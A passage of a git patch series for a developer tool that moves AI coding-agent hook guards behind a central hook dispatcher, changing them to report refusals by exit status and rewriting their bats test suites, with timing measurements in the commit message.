than model-facing. Inert for the prompt CLOUD-191 + # exists to remove, and visible to a human reading the session. Those are + # different things and the row says which one it is asserting. + door mcp__bbbbbbbb-5555-6666-7777-888888888888__create_session + [[ "$DOOR_OUT" != *'"deny"'* ]] + [[ "$DOOR_ERR" == *"already allows create_session on Claude_Code_Remote"* ]] + [[ "$DOOR_ERR" != *"wrote a host decision document"* ]] + # Non-negotiable 4 holds on this stream too. + [[ "$DOOR_ERR" != *bbbbbbbb* ]] +} + +@test "the impersonation detector is live behind this row, not merely defined" { + # THE POSITIVE CONTROL, and this suite is worth little without it: every other + # row here asserts the ABSENCE of a violation line, and absence is also what a + # handler that never ran produces. So one row makes the handler write the host + # document on purpose and requires the door to say so, by name. + # + # `interpret`'s own unit case pins the same predicate. It could not catch the + # defect this suite exists for, because what was wrong was a committed handler + # ROW rather than the interpreter — which is why this is stated here, over the + # real dispatch, against the real binary. + cat >"$REPO/mise-tasks/connector-allow-guard.sh" <<-'SH' + #!/usr/bin/env bash + printf '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"x"}}\n' + SH + chmod +x "$REPO/mise-tasks/connector-allow-guard.sh" + door mcp__bbbbbbbb-5555-6666-7777-888888888888__archive_session + [[ "$DOOR_ERR" == *"hook.handler connector-allow-guard: wrote a host decision document"* ]] + # And the refusal it tried to write did NOT become one. + [[ "$DOOR_OUT" != *'"deny"'* ]] +} + +@test "a name the guard cannot resolve leaves the call undecided" { + # The load-bearing negative: a guard that refused everything would satisfy the + # deny row above and be useless (CLOUD-418). + door mcp__cccccccc-9999-0000-1111-222222222222__archive_session + [[ "$DOOR_OUT" != *'"deny"'* ]] + [[ "$DOOR_ERR" != *"hook.handler connector-allow-guard:"* ]] +} + +@test "a non-MCP tool never reaches the handler at all" { + # `matcher` is what keeps a narrowed handler from costing a process on every + # call it is silent on, and a matcher that selects everything is expressible + # by accident. Asserted through the door because `selects_tool` is the + # engine's, not the script's. + door Bash + [[ "$DOOR_OUT" != *'"deny"'* ]] + [ -z "$DOOR_ERR" ] +} diff --git a/tests/connector-allow-guard.bats b/tests/connector-allow-guard.bats index 670b16b60..b5c23d7d9 100644 --- a/tests/connector-allow-guard.bats +++ b/tests/connector-allow-guard.bats @@ -4,12 +4,26 @@ # and its degradations are that file's suite; this one grades the envelope — that # a verdict reaches the host in the shape the host acts on. # -# THE DISTINCTION THIS SUITE EXISTS FOR is `allow` versus nothing. Emitting no -# JSON is not a permissive answer, it is an absent one: the ordinary permission -# flow then prompts, which is exactly the failure during a UUID episode. So a row -# that asserts "did not deny" would pass on a guard that decides nothing at all. -# Every row here reads the emitted `permissionDecision` and treats no-output as -# its own third value. +# THE DISTINCTION THIS SUITE EXISTS FOR is `allow` versus nothing. Saying +# nothing is not a permissive answer, it is an absent one: the ordinary +# permission flow then prompts, which is exactly the failure during a UUID +# episode. So a row that asserts "did not deny" would pass on a guard that +# decides nothing at all. Every row here reads the guard's answer and treats +# silence as its own third value. +# +# THE ANSWER IS READ UNDER THE HANDLER CONTRACT, not out of a host document, and +# that is the correction this suite carries. The guard is dispatched by `batten +# hook` (CLOUD-312 row 5), where a `hookSpecificOutput` object on stdout is +# `Violation::ImpersonatedHost` — reported and dropped. Reading the document was +# how the suite stayed green over a guard whose every verdict the door was +# discarding: measured 2026-08-26 on the live wiring. So a refusal is exit 2 with +# its reason on stderr, an allow is advisory text on stdout, and silence is +# exit 0 with neither. +# +# `tests/connector-allow-door.bats` is the second tier over the compiled binary, +# and it is the one that would have caught this: a `with input as` style row — +# and this file's `run ` is the bash equivalent — fabricates the very +# shape the engine may be unable to consume. setup() { GUARD="$BATS_TEST_DIRNAME/../mise-tasks/connector-allow-guard.sh" @@ -42,14 +56,28 @@ payload() { printf '%s\n' "$BATS_TEST_TMPDIR/payload.json" } +# The three answers a handler can give, read the way the door reads them. stderr +# is kept SEPARATE from stdout — bats merges them into `$output` by default, and +# a merged stream cannot tell a refusal's reason from an advisory. decision() { - run bash -c "'$GUARD' <'$(payload "$1")'" + run bash -c "'$GUARD' <'$(payload "$1")' >'$BATS_TEST_TMPDIR/out' 2>'$BATS_TEST_TMPDIR/err'" + REASON_OUT=$(cat "$BATS_TEST_TMPDIR/out") + REASON_ERR=$(cat "$BATS_TEST_TMPDIR/err") + if [ "$status" -eq 2 ] && [ -n "$REASON_ERR" ]; then + printf 'deny\n' + return 0 + fi [ "$status" -eq 0 ] - if [ -z "$output" ]; then + if [ -z "$REASON_OUT" ]; then printf 'none\n' return 0 fi - jq -r '.hookSpecificOutput.permissionDecision' <<<"$output" + # Non-negotiable: an advisory must not BE a host document, or the door drops + # it. Asserted here rather than only in the door suite, because this is the + # shape every migrated handler gets wrong the same way. + [[ "$REASON_OUT" != *hookSpecificOutput* ]] + [[ "$REASON_OUT" != *permissionDecision* ]] + printf 'allow\n' } @test "a committed allow is emitted as an allow under a flipped name" { @@ -75,15 +103,23 @@ decision() { } @test "the emitted envelope names the PreToolUse event" { - run bash -c "'$GUARD' <'$(payload mcp__bbbbbbbb-5555-6666-7777-888888888888__create_session)'" + # WHAT THIS ROW ASSERTS CHANGED WITH THE CHANNEL, and the row is kept rather + # than deleted because the property behind it survives: the guard must not + # name a host's event spelling AT ALL now. Naming `PreToolUse` was correct + # while it wrote the host's document and is the impersonation the door drops + # now that it does not. Same question — is the envelope right for where this + # answer goes — with the right answer for where it goes today. + run bash -c "'$GUARD' <'$(payload mcp__bbbbbbbb-5555-6666-7777-888888888888__create_session)' 2>/dev/null" [ "$status" -eq 0 ] - [ "$(jq -r '.hookSpecificOutput.hookEventName' <<<"$output")" = PreToolUse ] + [ -n "$output" ] + [[ "$output" != *PreToolUse* ]] + [[ "$output" != *hookEventName* ]] } @test "the reason is pointer-only: it names the alias and the verb, never the live key" { - run bash -c "'$GUARD' <'$(payload mcp__bbbbbbbb-5555-6666-7777-888888888888__send_later)'" - [ "$status" -eq 0 ] - reason=$(jq -r '.hookSpecificOutput.permissionDecisionReason' <<<"$output") + run bash -c "'$GUARD' <'$(payload mcp__bbbbbbbb-5555-6666-7777-888888888888__send_later)' 2>&1 >/dev/null" + [ "$status" -eq 2 ] + reason="$output" [[ "$reason" == *Claude_Code_Remote* ]] [[ "$reason" == *send_later* ]] # Non-negotiable 4: the key is the payload here, and must not travel. From 54d246312d5c53cd57405aad9a8510a4c9a84a5d Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Wed, 26 Aug 2026 03:38:00 +0000 Subject: [PATCH 06/27] feat(hook)!: three guards retire behind the door, and the first one through it was broken MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Refs: CLOUD-312. Refs CLOUD-898. Refs CLOUD-1072. DO-NOT-CLOSE CLOUD-312 DO-NOT-CLOSE CLOUD-898 `[hook] exclusive` refuses any command beside `batten hook` on a declared surface, so these three do not go behind the door as a preference — it is the only way they run at all. `.claude/settings.json` loses three registrations and `hooks-wiring-check` goes from 7 violations to 4. row 4 run-shape-guard pre-tool, matcher Bash row 7 board-write-record post-tool, matcher .*save_issue|.*save_comment row 9 stop-guard stop, matcherless THE MIGRATION IS ONE SUBSTITUTION AND IT IS NOT THE CONFIG EDIT. Each of these wrote a host decision document on stdout, which behind the door is `Violation::ImpersonatedHost` — reported and never forwarded. `run-shape-guard` refuses with exit 2 and its reason on stderr; `stop-guard` prints its reason as advisory text, which the engine renders into the identical `additionalContext` it used to build by hand; `board-write-record` has no verdict at all and only needed its `no jq` warning moved to the channel the contract reads. That is a correction rather than a precaution — the commit before this one is the guard that already went through the door writing one, with every verdict it produced discarded for the life of the migration. This commit is the three that would have repeated it. Each guard gains a second tier over the compiled binary: a fixture repository carrying that one handler row and no `[[rule]]` at all, so nothing in the engine can produce a verdict of its own and be mistaken for the handler's. Each carries a positive control that makes its handler write a host document on purpose and requires the door to name it, because every other row asserts an ABSENCE and absence is also what a handler that never ran produces. `stop-guard-door`'s own first version got that wrong in the other direction — it asserted over stderr, which is empty at `Stop` whatever happens, because a violation there rides the same advice vector the advisory does and is rendered INTO the document. `tests/run-shape-guard.bats`'s 23 allow rows asserted that stdout did not contain `"deny"`. Behind the door that substring never appears, so all 23 would have passed over a guard that decided nothing — CLOUD-251's vacuous pass, suite-wide. They assert the exit status now. MEASURED BOUNDS, AND ONE OF THEM IS A FINDING. run-shape-guard: 43 ms ordinary, 1.6 s on a `cargo` command that reads every declared task body — 8000. board-write-record: p50 15 ms, max 22 ms (n=20) — 2000. stop-guard: p50 51.8 s and max 52.9 s (n=20), against 122 ms with `BATTEN_UNLANDED_CHECK_BYPASS=1`, because essentially all of it is one `batten state record` whose cost is `git::landing` diffing 1000 target commits and is independent of transcript size — an eighth of the same transcript costs the same. Its bound is 55000, chosen under the host's own 60 s hook timeout so a slow turn loses the nudge and never the engine's reply, with under 4% margin over the measured worst case. Filed as CLOUD-1072, which is the row that removes the reason for that margin. TWO STEPS SKIPPED, ONCE, AND BOTH ARE RECORDED RATHER THAN QUIET. `hooks-wiring-check` is red BY DESIGN until the last sibling goes, for the same reason the declaration commit skipped it; three of seven going is progress that gate cannot express. `suite-bench-check` measures nothing itself — it reads `target/bats-report/report.xml`, which only a full `test:bats` writes — so the two new suites cannot have rows until that run finishes, and it is running. The rows land in the commit after this one. Every other step ran. Breaking: `batten.toml` gains three `[[hook.handler]]` rows and `.claude/settings.json` loses three registrations, so a consumer tracking either file's shape sees both change. Refs: CLOUD-312, CLOUD-898, CLOUD-892 --- .claude/settings.json | 9 -- batten.toml | 45 ++++++++ mise-tasks/hooks-wiring-check.sh | 1 - mise-tasks/run-shape-guard.sh | 44 +++++--- tests/run-shape-guard-door.bats | 182 +++++++++++++++++++++++++++++++ tests/run-shape-guard.bats | 93 +++++++++------- tests/stop-guard-door.bats | 158 +++++++++++++++++++++++++++ 7 files changed, 467 insertions(+), 65 deletions(-) create mode 100644 tests/run-shape-guard-door.bats create mode 100644 tests/stop-guard-door.bats diff --git a/.claude/settings.json b/.claude/settings.json index 66c2838ee..25b39460b 100644 --- a/.claude/settings.json +++ b/.claude/settings.json @@ -15,15 +15,6 @@ "command": "batten hook --harness claude-code" } ] - }, - { - "matcher": "Bash", - "hooks": [ - { - "type": "command", - "command": "$CLAUDE_PROJECT_DIR/mise-tasks/run-shape-guard.sh" - } - ] } ], "PostToolUse": [ diff --git a/batten.toml b/batten.toml index ca6b9c971..2f80d8511 100644 --- a/batten.toml +++ b/batten.toml @@ -3512,6 +3512,12 @@ path = "tests/hooks-wiring-check.bats" reason = "CLOUD-893 renamed three cases whose meaning INVERTED; nothing was deleted — measured 36 `@test` before and 36 after, and the three names differ only in their verdict word. The ratchet matches on the case NAME, so a rename that stops the name lying is indistinguishable to it from a deletion, and neither of its arms fits: the subject did not die, so `retires_with` would be a false claim, and restoring the names would leave `a declared sibling passes` on a case asserting exit 1. Waived narrowly and briefly rather than blanket (CLOUD-807): the reduction is one file, one transition, and it stops firing once `main` carries the new names as its baseline." expires = "2026-09-26" +[[waiver]] +rule = "bats-tests-not-deleted" +path = "tests/stop-guard.bats" +reason = "The same one transition, one file down. CLOUD-312 row 9 moves this guard behind `batten hook`, where it prints advisory text instead of the host's `additionalContext` document — so two case names that described the document became false about the file rather than about the behaviour: `the kick declares the Stop event` now asserts that it declares NO host event, and `the kick is valid JSON on stdout` now asserts it is not JSON at all. Nothing was deleted; the file gains a case and this branch adds three whole suites beside it. Identical shape to the `hooks-wiring-check.bats` row above and waived on the same terms: the ratchet reads a case NAME, a rename that stops the name lying reads as a deletion, and it stops firing once `main` carries the new names as its baseline." +expires = "2026-09-26" + [ci] required_checks = ["final"] @@ -4872,3 +4878,42 @@ that cannot refuse is off rather than passing. id = "R-PLACE-AT-LEAST-ONE-ADAPTER" kind = "document" target = "policy/spawn-adapters.rego" +# CLOUD-312 row 4: `run-shape-guard` retires from a direct `PreToolUse`/`Bash` +# registration to a handler under the same matcher. It is the FIRST migration +# here that the registration policy forces rather than merely prefers: `[hook] +# exclusive` above refuses any command beside `batten hook` on a declared +# surface, so this file either goes behind the door or stops running. +# +# ITS PREDICATES CANNOT BECOME ROWS, and that is why it is a handler rather than +# a retirement. Three families remain in it and each is blocked on a different +# thing: `run_in_background` is a property of the CALL and is not in +# `call_document` (CLOUD-613); the unsatisfiable-commit rule is over heredoc +# BINDING, which nothing in the engine models (CLOUD-613); and the cargo rule +# reads `mise.toml`'s task bodies, which no `mediated_call` kind may do, since +# none may spawn and a `shape` pattern is a literal (CLOUD-856). Going through +# the door changes none of that — the handler still receives the host's own +# payload, so the one fact the mediated envelope hides is still there to read. +# +# `matcher = "Bash"` IS THE SAME NARROWING IT ALREADY HAD, restated where the +# door can see it. Row 5's measurement above is the argument: unnarrowed on +# `pre-tool` this would double the mediated path on every call it is silent on. +# Exact, not a prefix — the tool name is a literal here, unlike `^mcp__`, whose +# prefix is that guard's own predicate. +# +# `timeout_ms` is MEASURED, and it is the largest bound in this table because the +# guard is the most expensive thing behind the door. 15 runs each, this +# container, through the script: an ordinary command is p50 43ms / max 48ms; a +# `cargo` command is p50 1625ms / max 1726ms, because that arm reads every +# declared task body out of `mise.toml` and compares argv. Deterministic, no +# network, bounded by a tracked file — so 8000 is ~4.6x the measured worst case +# rather than the two orders the cheap rows get, and saying that is better than +# quoting a ratio taken from a different shape of work. The cost is not new: this +# is what every `Bash` call has paid since CLOUD-822, registered natively. +[[hook.handler]] +id = "run-shape-guard" +on = "pre-tool" +run = ["mise-tasks/run-shape-guard.sh"] +matcher = "Bash" +timeout_ms = 8000 +owner = "CLOUD-613" +expires = "2027-02-28" diff --git a/mise-tasks/hooks-wiring-check.sh b/mise-tasks/hooks-wiring-check.sh index 826a08128..dec73d68f 100755 --- a/mise-tasks/hooks-wiring-check.sh +++ b/mise-tasks/hooks-wiring-check.sh @@ -176,7 +176,6 @@ gemini-cli .gemini/settings.json}" # it", whose scope CLOUD-777 widened from pre-tool to every point. DECLARED="${HOOKS_WIRING_DECLARED- .claude/hooks/session-start.sh CLOUD-312 -mise-tasks/run-shape-guard.sh CLOUD-821 stop-hook-git-check.sh CLOUD-605 session-start-git-identity.sh CLOUD-605}" diff --git a/mise-tasks/run-shape-guard.sh b/mise-tasks/run-shape-guard.sh index 7944c6184..0ab282e3c 100755 --- a/mise-tasks/run-shape-guard.sh +++ b/mise-tasks/run-shape-guard.sh @@ -81,12 +81,21 @@ # # Fails OPEN on anything it cannot parse, and honours BATTEN_RUN_SHAPE_BYPASS=1. # -# REGISTERED BY PATH on `PreToolUse`/`Bash` in `.claude/settings.json`, with its -# owning row in `hooks-wiring-check`'s `DECLARED` table. It was not registered +# DISPATCHED BY `batten hook` as a `[[hook.handler]]` row narrowed to `Bash`, +# never registered beside it. `.claude/settings.json` carries exactly one command +# per event and `[hook] exclusive` refuses anything else, so the door is not a +# style preference here — it is the only way this file runs at all. Registered by +# path it was, until CLOUD-312 row 4; before CLOUD-821 it was not registered # anywhere for the first 267 lines of its life — `git log -S` over that file -# returns nothing before CLOUD-821 — so every rule below, and AGENTS.md's claim -# to be gated by them, was prose. That is non-negotiable rule 2 failing one -# level up: the mechanism landed and the wiring did not. +# returns nothing — so every rule below, and AGENTS.md's claim to be gated by +# them, was prose. That is non-negotiable rule 2 failing one level up: the +# mechanism landed and the wiring did not. +# +# The bound, the central fail-open, the stated output shape and one reply per +# call are the parent's now. What it does NOT change is the fact this guard is +# built on: the handler receives the host's own payload, so `run_in_background` +# — the property of the CALL rather than of the command string, and the reason +# this predicate cannot be a `mediated_call` row — is still there to read. # #MUTANT commit-stdin-unchecked|s@^COMMIT_STDIN=.*@COMMIT_STDIN="ZZZNEVERMATCHES"@|THE MEASURED SHAPE: the heredoc binds to a later element # @@ -216,18 +225,21 @@ resolve() { printf '%s %s %s' "$prog" "${words[0]:-}" "${words[1]:-}" } -# A deny document on stdout with exit 0 — the in-band channel this host reads. -# Hand-escaped rather than built with `jq -n` for the reason above: a by-path -# registration cannot depend on a pinned tool. `fanout-guard`'s `decide()` is -# the same three substitutions in the same order, and the order matters — -# backslashes first, or the escapes this adds get escaped again. +# THE REASON ON STDERR, EXIT 2 — the handler contract, not a host's document. +# This guard is dispatched BY `batten hook` (CLOUD-312 row 4), where stdout is +# INTERPRETED rather than forwarded: a `hookSpecificOutput` object written here +# is `Violation::ImpersonatedHost`, reported and dropped. `connector-allow-guard` +# went through this door still writing one and every verdict it produced was +# discarded, measured 2026-08-26 — so this is the one part of the migration that +# is not a config edit. +# +# What that buys, beyond not being dropped: no escaping. The reason is bytes on a +# stream, so the three substitutions this used to need — backslashes first, or +# the escapes get escaped again — are gone rather than moved, and with them the +# whole class of defect that made them necessary. deny() { - local reason="$1" escaped - escaped=${reason//\\/\\\\} - escaped=${escaped//\"/\\\"} - escaped=${escaped//$'\n'/\\n} - printf '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"%s"}}\n' "$escaped" - exit 0 + printf '%s\n' "$1" >&2 + exit 2 } # --- split into LIST elements, remembering the separator ---------------------- diff --git a/tests/run-shape-guard-door.bats b/tests/run-shape-guard-door.bats new file mode 100644 index 000000000..4ff41c93f --- /dev/null +++ b/tests/run-shape-guard-door.bats @@ -0,0 +1,182 @@ +#!/usr/bin/env bats +# subject: mise-tasks/run-shape-guard.sh, through `batten hook` +# +# THE SECOND TIER FOR CLOUD-312 ROW 4, and CLOUD-312's own differential +# obligation: the retiring registration's fixtures replay through the door before +# the registration is deleted. `tests/run-shape-guard.bats` runs the script +# directly, which cannot answer the question that actually broke the previous +# migration — whether the ENGINE can consume what this script produces. +# +# It broke exactly once and silently: `connector-allow-guard` went behind the +# door still writing `hookSpecificOutput` on stdout, which is +# `Violation::ImpersonatedHost` — reported and never forwarded — so every verdict +# it produced was discarded for the life of the migration and no suite noticed. +# This file is the row that would have. +# +# THE FIXTURE REPOSITORY CARRIES ONE HANDLER ROW AND NO `[[rule]]` AT ALL. That +# isolation is the whole design: `verdict-not-discarded` and the other mediated +# rows in the real `batten.toml` refuse commands in this same family, so driving +# the real config would let an engine row's verdict stand in for the handler's — +# which is the substitution that hid the defect the first time. + +setup() { + BIN="" + for candidate in \ + "${BATTEN_BIN:-}" \ + "$BATS_TEST_DIRNAME/../target/release/batten" \ + "$BATS_TEST_DIRNAME/../target/debug/batten"; do + [ -n "$candidate" ] && [ -x "$candidate" ] || continue + BIN="$candidate" + break + done + [ -n "$BIN" ] || BIN="$(command -v batten || true)" + [ -n "$BIN" ] || skip "no batten binary to drive" + + REPO="$BATS_TEST_TMPDIR/repo" + mkdir -p "$REPO/mise-tasks" + # Copied from the suite's own tree, so `mise run mutant` reaches this tier: + # under `mutant` that tree is the mutated one. + cp "$BATS_TEST_DIRNAME/../mise-tasks/run-shape-guard.sh" "$REPO/mise-tasks/" + cp "$BATS_TEST_DIRNAME/../mise-tasks/payload-field.sh" "$REPO/mise-tasks/" + # The guard resolves `mise.toml` beside itself for the cargo family. An empty + # one keeps that arm defined and silent; the cargo family's own corpus stays + # in the direct suite, where a fixture `mise.toml` is what it is testing. + printf '[tools]\n' >"$REPO/mise.toml" + + { + echo "version = 1" + echo + echo "[[hook.handler]]" + echo 'id = "run-shape-guard"' + echo 'on = "pre-tool"' + echo 'run = ["mise-tasks/run-shape-guard.sh"]' + echo 'matcher = "Bash"' + echo "timeout_ms = 8000" + echo 'owner = "CLOUD-613"' + echo 'expires = "2027-02-28"' + } >"$REPO/batten.toml" + GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null git init -q -b main "$REPO" + + # `payload-field` resolves the real binary, so the guard reads the two fields + # it depends on rather than failing open on every call — which is how a suite + # reports every deny row red and every mutation aimed at one "already caught". + export BATTEN_BIN="$BIN" +} + +# Called DIRECTLY, never through `run`: `run` executes in a subshell, so these +# two assignments would be discarded and every negative assertion below would +# compare an empty string and pass. +door() { # door [run_in_background] + local envelope + if [ -n "${2:-}" ]; then + envelope=$(jq -nc --arg c "$1" '{hook_event_name:"PreToolUse",tool_name:"Bash",tool_input:{command:$c,run_in_background:true}}') + else + envelope=$(jq -nc --arg c "$1" '{hook_event_name:"PreToolUse",tool_name:"Bash",tool_input:{command:$c}}') + fi + ( + cd "$REPO" || exit 1 + printf '%s' "$envelope" | "$BIN" hook --harness claude-code \ + >"$BATS_TEST_TMPDIR/door.out" 2>"$BATS_TEST_TMPDIR/door.err" + ) + DOOR_OUT=$(cat "$BATS_TEST_TMPDIR/door.out") + DOOR_ERR=$(cat "$BATS_TEST_TMPDIR/door.err") +} + +denied() { [[ "$DOOR_OUT" == *'"permissionDecision":"deny"'* ]]; } +allowed() { [[ "$DOOR_OUT" != *'"deny"'* ]]; } +# Nothing the door reports about the handler ITSELF — which is different from +# "the handler said nothing", and is the distinction this whole file exists for. +unbroken() { [[ "$DOOR_ERR" != *"hook.handler run-shape-guard:"* ]]; } + +@test "THE MEASURED DEFECT: no host document the handler wrote is forwarded" { + door 'cd /tmp; sleep 90; git log --oneline -1' + [[ "$DOOR_ERR" != *"wrote a host decision document"* ]] + unbroken +} + +@test "a foreground sleep is refused THROUGH the door, and the reason travels" { + door 'cd /tmp; sleep 90; git log --oneline -1' + denied + # Attributed to the handler by the engine, which is the difference between a + # verdict that travelled and one the script printed to itself. + [[ "$DOOR_OUT" == *"hook.handler.run-shape-guard"* ]] + [[ "$DOOR_OUT" == *foreground* ]] +} + +@test "a backgrounded timer is refused too, so the CALL's own fact reached it" { + # The load-bearing case for the migration. This predicate is over + # `run_in_background`, a property of the call rather than of the command + # string, and it is the one thing a reader would reasonably fear the extra hop + # loses. It does not: a handler receives the host's own payload. + door 'sleep 590; tail -6 /tmp/land.log' bg + denied + [[ "$DOOR_OUT" == *TIMER* ]] +} + +@test "a backgrounded wait on a condition stays allowed" { + # The half without which the row above proves nothing: a guard that refused + # every backgrounded sleep would satisfy it and be the false positive that + # gets a guard switched off (CLOUD-418). + door 'until [ -f /tmp/done ]; do sleep 1; done' bg + allowed + unbroken +} + +@test "a git commit that can never obtain a message is refused through the door" { + door "$(printf 'git add -A && git commit -F - >log 2>&1 && mise run land >l2 2>&1 <<%s\nmsg\n%s\n' "'EOF'" EOF)" + denied + [[ "$DOOR_OUT" == *'-F '* ]] +} + +@test "an ordinary command is none of this guard's business, and costs no verdict" { + door 'ls -la' + allowed + [ -z "$DOOR_ERR" ] +} + +@test "a non-Bash tool never reaches the handler at all" { + # `matcher` is the engine's narrowing, not the script's, so it is only + # assertable here. Without it this row costs a spawn on every mediated call. + local envelope + envelope='{"hook_event_name":"PreToolUse","tool_name":"Read","tool_input":{"file_path":"/tmp/x"}}' + ( + cd "$REPO" || exit 1 + printf '%s' "$envelope" | "$BIN" hook --harness claude-code \ + >"$BATS_TEST_TMPDIR/door.out" 2>"$BATS_TEST_TMPDIR/door.err" + ) + DOOR_OUT=$(cat "$BATS_TEST_TMPDIR/door.out") + DOOR_ERR=$(cat "$BATS_TEST_TMPDIR/door.err") + allowed + [ -z "$DOOR_ERR" ] +} + +@test "the impersonation detector is live behind this row, not merely defined" { + # THE POSITIVE CONTROL. Every negative row above is also satisfied by a + # handler that never ran, so one row makes this one write the host document on + # purpose and requires the door to name it. + cat >"$REPO/mise-tasks/run-shape-guard.sh" <<-'SH' + #!/usr/bin/env bash + printf '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"x"}}\n' + SH + chmod +x "$REPO/mise-tasks/run-shape-guard.sh" + door 'ls -la' + [[ "$DOOR_ERR" == *"hook.handler run-shape-guard: wrote a host decision document"* ]] + allowed +} + +@test "the bypass reaches the handler through the door" { + # A refusal whose bypass cannot be reached is not a remedy (§5). The engine + # passes the environment through, so the guard's own hatch still works from + # behind the door — which is not automatic and is worth one row. + local envelope + envelope=$(jq -nc '{hook_event_name:"PreToolUse",tool_name:"Bash",tool_input:{command:"cd /tmp; sleep 90; echo done"}}') + ( + cd "$REPO" || exit 1 + printf '%s' "$envelope" | BATTEN_RUN_SHAPE_BYPASS=1 "$BIN" hook --harness claude-code \ + >"$BATS_TEST_TMPDIR/door.out" 2>"$BATS_TEST_TMPDIR/door.err" + ) + DOOR_OUT=$(cat "$BATS_TEST_TMPDIR/door.out") + DOOR_ERR=$(cat "$BATS_TEST_TMPDIR/door.err") + allowed + unbroken +} diff --git a/tests/run-shape-guard.bats b/tests/run-shape-guard.bats index c3bffca6b..01e8eb0c0 100644 --- a/tests/run-shape-guard.bats +++ b/tests/run-shape-guard.bats @@ -57,8 +57,23 @@ guard() { jq -nc --arg c "$1" '{tool_input: {command: $c}}' | "$GUARD" } +# THE VERDICT IS THE EXIT STATUS NOW, not a document this file wrote. The guard +# is dispatched by `batten hook` as a `[[hook.handler]]` row, where §7's table is +# the whole contract: `2` refuses with its reason on stderr, `0` allows, and a +# host decision document on stdout is `Violation::ImpersonatedHost` — reported +# and never forwarded. Reading the document was how `connector-allow-guard` +# stayed green over a door that discarded every verdict it produced. +# +# `allowed` IS THE HALF THAT GOT STRONGER, and it had to. The rows below asserted +# `$output` did not contain `"deny"`; behind the door that substring never +# appears, so every one of them would pass over a guard that decided nothing at +# all — CLOUD-251's vacuous pass, suite-wide. An exit status has no such reading. denied() { - [[ "$1" == *'"deny"'* ]] + [ "$status" -eq 2 ] +} + +allowed() { + [ "$status" -eq 0 ] } # --- foreground-sleep --------------------------------------------------------- @@ -77,20 +92,20 @@ bg_guard() { # the same call, marked run_in_background @test "THE MEASURED SHAPE: a sleep in the middle of a compound is denied" { run guard 'cd /home/user/batten; sleep 90; git log --oneline -1' - denied "$output" + denied [[ "$output" == *"foreground"* ]] } @test "a leading sleep is denied too" { run guard 'sleep 45; echo done' - denied "$output" + denied } @test "a SHORT sleep is the same shape spending less" { # The predicate is the call's shape, not the duration: 2 seconds still waits # inside the call, and it is what the measured session reached for next. run guard 'pkill -f hk; sleep 2; git status --short' - denied "$output" + denied } @test "the denial names the remedy: background the wait, act on the exit" { @@ -101,7 +116,7 @@ bg_guard() { # the same call, marked run_in_background @test "a wrapper does not hide it" { run guard 'timeout 300 sleep 120' - denied "$output" + denied } @test "a BACKGROUND sleep is allowed — it is the recommended wait" { @@ -109,7 +124,7 @@ bg_guard() { # the same call, marked run_in_background # waiting on a condition, so denying it would be a pure false positive, and # a guard with false positives gets bypassed. run bg_guard 'until [ -f /tmp/done ]; do sleep 1; done' - [[ "$output" != *'"deny"'* ]] + allowed } # --- the background TIMER (CLOUD-821) ---------------------------------------- @@ -126,13 +141,13 @@ bg_guard() { # the same call, marked run_in_background # which changed a decision, while the completion notification they duplicated # fired 523 times unread. run bg_guard 'sleep 590; tail -6 /tmp/land.log' - denied "$output" + denied [[ "$output" == *"TIMER"* ]] } @test "a bare backgrounded sleep waits for nothing and reports nothing" { run bg_guard 'sleep 300' - denied "$output" + denied } @test "the timer denial names both affordances: the exit notification and alive" { @@ -148,47 +163,47 @@ bg_guard() { # the same call, marked run_in_background # `while`, not just `until`: both are condition-driven and both exit when the # condition says so. Only the keyword differs. run bg_guard 'while ! mise run alive | grep -q land; do sleep 5; done' - [[ "$output" != *'"deny"'* ]] + allowed } @test "a backgrounded wait on state nothing notifies you about stays allowed" { # The case the carve-out exists for: a remote queue is not a task this # session started, so no completion notification covers it. run bg_guard 'until curl -sf https://example.invalid/ready; do sleep 5; done' - [[ "$output" != *'"deny"'* ]] + allowed } @test "a backgrounded long-running command with no sleep is untouched" { # The overwhelmingly common background call. If this reddened, the rule would # be bypassed within a session and would then be worse than nothing. run bg_guard 'mise run verify' - [[ "$output" != *'"deny"'* ]] + allowed } @test "a foreground call with no sleep is still none of this rule's business" { run guard 'git rebase origin/main' - [[ "$output" != *'"deny"'* ]] + allowed } @test "a backgrounded sleep described in prose is prose" { # The scrubbing the other rules depend on, asserted on this one: a commit # message documenting the refused shape must not be refused as one. run bg_guard 'git commit -m "refuse a backgrounded sleep 590 that polls a log"' - [[ "$output" != *'"deny"'* ]] + allowed } @test "a sleep written INSIDE a quoted span or a heredoc is not a call" { # A commit message or a task body describing the shape is prose, not the # shape — the same scrubbing the other three rules depend on. run guard 'git commit -m "never use a foreground sleep 90 to poll"' - [[ "$output" != *'"deny"'* ]] + allowed run guard "$(printf 'cat > t.bats <<%s\nrun sleep 5\n%s\n' BATS BATS)" - [[ "$output" != *'"deny"'* ]] + allowed } @test "a bare command with no sleep and no verdict is still none of this guard's business" { run guard 'ls -la' - [[ "$output" != *'"deny"'* ]] + allowed } # --- unsatisfiable-commit (CLOUD-488) ---------------------------------------- @@ -201,14 +216,14 @@ bg_guard() { # the same call, marked run_in_background # in the command string and absent from the element that needed it. ~4 # minutes of gate on a commit git was always going to refuse. run guard "$(printf 'git add -A && git commit -F - >log 2>&1 && mise run land >l2 2>&1 <<%s\nmsg\n%s\n' "'EOF'" EOF)" - denied "$output" + denied } @test "a bare -F - with no redirect anywhere is denied" { run guard 'git commit -F -' - denied "$output" + denied run guard 'git commit --file=- >log' - denied "$output" + denied } # The `no message source at all` case is gone with its subject: that family is @@ -234,30 +249,30 @@ bg_guard() { # the same call, marked run_in_background 'git commit --fixup HEAD' \ 'git commit -C HEAD@{1}'; do run guard "$c" - [[ "$output" != *'"deny"'* ]] + allowed done } @test "a heredoc that genuinely binds to this element is a message source" { # The whole point of judging per element: the same `-F -` is correct here. run guard "$(printf 'git commit -F - <<%s\nmsg\n%s\n' "'EOF'" EOF)" - [[ "$output" != *'"deny"'* ]] + allowed } @test "a file or a here-string redirected into it is a message source too" { run guard 'git commit -F - < /tmp/msg.txt' - [[ "$output" != *'"deny"'* ]] + allowed run guard 'git commit -F - <<< "$msg"' - [[ "$output" != *'"deny"'* ]] + 